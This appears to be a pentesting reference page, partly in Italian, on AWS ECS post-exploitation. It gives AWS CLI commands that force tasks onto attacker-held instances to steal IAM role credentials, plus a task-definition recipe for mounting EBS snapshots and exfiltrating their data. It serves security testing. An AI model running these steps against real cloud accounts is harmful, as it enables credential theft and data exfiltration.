AWS - ECS Post Exploitation

Reading time: 6 minutes

ECS

For more information check:

AWS - ECS Enum

Host IAM Roles

In ECS an IAM role can be assigned to the task running inside the container. If the task is run inside an EC2 instance, the EC2 instance will have another IAM role attached to it.
Which means that if you manage to compromise an ECS instance you can potentially obtain the IAM role associated to the ECR and to the EC2 instance. For more info about how to get those credentials check:

Cloud SSRF - HackTricks

Privesc to node to steal other containers creds & secrets

Inoltre, EC2 usa docker per eseguire le tasks di ECS, quindi se riesci a evadere verso il node o access the docker socket, puoi verificare quali altri containers sono in esecuzione, ed anche entrare al loro interno e rubare gli IAM roles ad essi associati.

Making containers run in current host

Inoltre, il EC2 instance role di solito avrà sufficienti permissions per update the container instance state delle EC2 instances usate come nodes all'interno del cluster. Un attacker potrebbe modificare lo state of an instance to DRAINING, quindi ECS rimuoverà tutte le tasks da essa e quelle eseguite come REPLICA verranno eseguite in un'istanza diversa, potenzialmente all'interno dell'attacker's instance, così da poter rubare i loro IAM roles e eventuali informazioni sensibili presenti all'interno del container.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

La stessa tecnica può essere eseguita anche deregistering the EC2 instance from the cluster. Questo è potenzialmente meno stealthy ma forzerà i tasks a essere eseguiti in altre istanze:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Una tecnica finale per forzare la re-esecuzione dei task è indicare a ECS che il task o container è stato fermato. Ci sono 3 API potenziali per farlo:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Steal sensitive info from ECR containers

L'istanza EC2 probabilmente avrà anche il permesso ecr:GetAuthorizationToken che le permette di scaricare immagini (puoi cercare informazioni sensibili al loro interno).

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Abusa dell'integrazione nativa ECS EBS (2024+) per montare il contenuto di uno snapshot EBS esistente direttamente all'interno di un nuovo task/service ECS e leggere i suoi dati dal container.

• Needs (minimum):

• ecs:RegisterTaskDefinition

• One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

• iam:PassRole on:

• ECS infrastructure role used for volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

• Task execution/Task roles referenced by the task definition

• If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

• Impact: leggere contenuti arbitrari del disco dallo snapshot (es. file di database) all'interno del container ed esfiltrarli tramite rete/log.

Steps (Fargate example):

1. Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:

aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes

2. Registra una task definition con un volume marcato configuredAtLaunch e montalo nel container. Esempio (stampa il secret e poi esegue sleep):

{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}

3. Crea o aggiorna un service passando lo snapshot EBS tramite volumeConfigurations.managedEBSVolume (richiede iam:PassRole sul ruolo dell'infrastruttura). Esempio:

{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}

4. Quando il task si avvia, il container può leggere il contenuto dello snapshot nel mount path configurato (es., /loot). Esfiltra tramite la rete/log del task.

Pulizia:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read